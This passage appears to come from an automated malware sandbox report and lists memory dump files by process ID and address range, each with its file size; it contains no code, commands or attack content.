      • memory/4036-38-0x0000000008460000-0x0000000008A04000-memory.dmp

        Filesize

        5.6MB

      • memory/4036-15-0x0000000002B20000-0x0000000002B56000-memory.dmp

        Filesize

        216KB

      • memory/4036-36-0x0000000007760000-0x00000000077F6000-memory.dmp

        Filesize

        600KB

      • memory/4036-18-0x0000000005C30000-0x0000000005C96000-memory.dmp

        Filesize

        408KB

      • memory/4036-37-0x0000000007460000-0x0000000007482000-memory.dmp

        Filesize

        136KB

      • memory/4036-34-0x0000000007DE0000-0x000000000845A000-memory.dmp

        Filesize

        6.5MB

      • memory/4036-35-0x00000000069D0000-0x00000000069EA000-memory.dmp

        Filesize

        104KB

      • memory/4036-40-0x0000000008A10000-0x000000000B07F000-memory.dmp

        Filesize

        38.4MB

      • memory/4036-17-0x0000000005B90000-0x0000000005BB2000-memory.dmp

        Filesize

        136KB

      • memory/4036-16-0x0000000005560000-0x0000000005B88000-memory.dmp

        Filesize

        6.2MB

      • memory/4036-33-0x00000000064E0000-0x000000000652C000-memory.dmp

        Filesize

        304KB

      • memory/4036-32-0x0000000006440000-0x000000000645E000-memory.dmp

        Filesize

        120KB

      • memory/4036-29-0x0000000005E30000-0x0000000006184000-memory.dmp

        Filesize

        3.3MB

      • memory/4036-19-0x0000000005D10000-0x0000000005D76000-memory.dmp

        Filesize

        408KB

      • memory/4260-71-0x00000000004C0000-0x0000000000543000-memory.dmp

        Filesize

        524KB

      • memory/4260-70-0x00000000004C0000-0x0000000000543000-memory.dmp

        Filesize

        524KB

      • memory/4260-72-0x00000000004C0000-0x0000000000543000-memory.dmp

        Filesize

        524KB

      • memory/4272-54-0x0000000001C60000-0x00000000042CF000-memory.dmp

        Filesize

        38.4MB

      • memory/4328-93-0x0000000000C00000-0x0000000000C83000-memory.dmp

        Filesize

        524KB

      • memory/4328-92-0x0000000000C00000-0x0000000000C83000-memory.dmp

        Filesize

        524KB

      • memory/4328-91-0x0000000000C00000-0x0000000000C83000-memory.dmp

        Filesize

        524KB

      • memory/4400-101-0x0000000000CF0000-0x0000000000D73000-memory.dmp

        Filesize

        524KB

      • memory/4400-99-0x0000000000CF0000-0x0000000000D73000-memory.dmp

        Filesize

        524KB

      • memory/4400-100-0x0000000000CF0000-0x0000000000D73000-memory.dmp

        Filesize

        524KB

      • memory/4592-86-0x0000000000450000-0x00000000004D3000-memory.dmp

        Filesize

        524KB

      • memory/4592-84-0x0000000000450000-0x00000000004D3000-memory.dmp

        Filesize

        524KB

      • memory/4592-85-0x0000000000450000-0x00000000004D3000-memory.dmp

        Filesize

        524KB

      • memory/4664-126-0x0000000000870000-0x00000000008F3000-memory.dmp

        Filesize

        524KB

      • memory/4664-124-0x0000000000870000-0x00000000008F3000-memory.dmp

        Filesize

        524KB

      • memory/4664-125-0x0000000000870000-0x00000000008F3000-memory.dmp

        Filesize

        524KB

      • memory/5060-122-0x0000000001200000-0x0000000001283000-memory.dmp

        Filesize

        524KB

      • memory/5060-121-0x0000000001200000-0x0000000001283000-memory.dmp

        Filesize

        524KB

      • memory/5060-120-0x0000000001200000-0x0000000001283000-memory.dmp

        Filesize

        524KB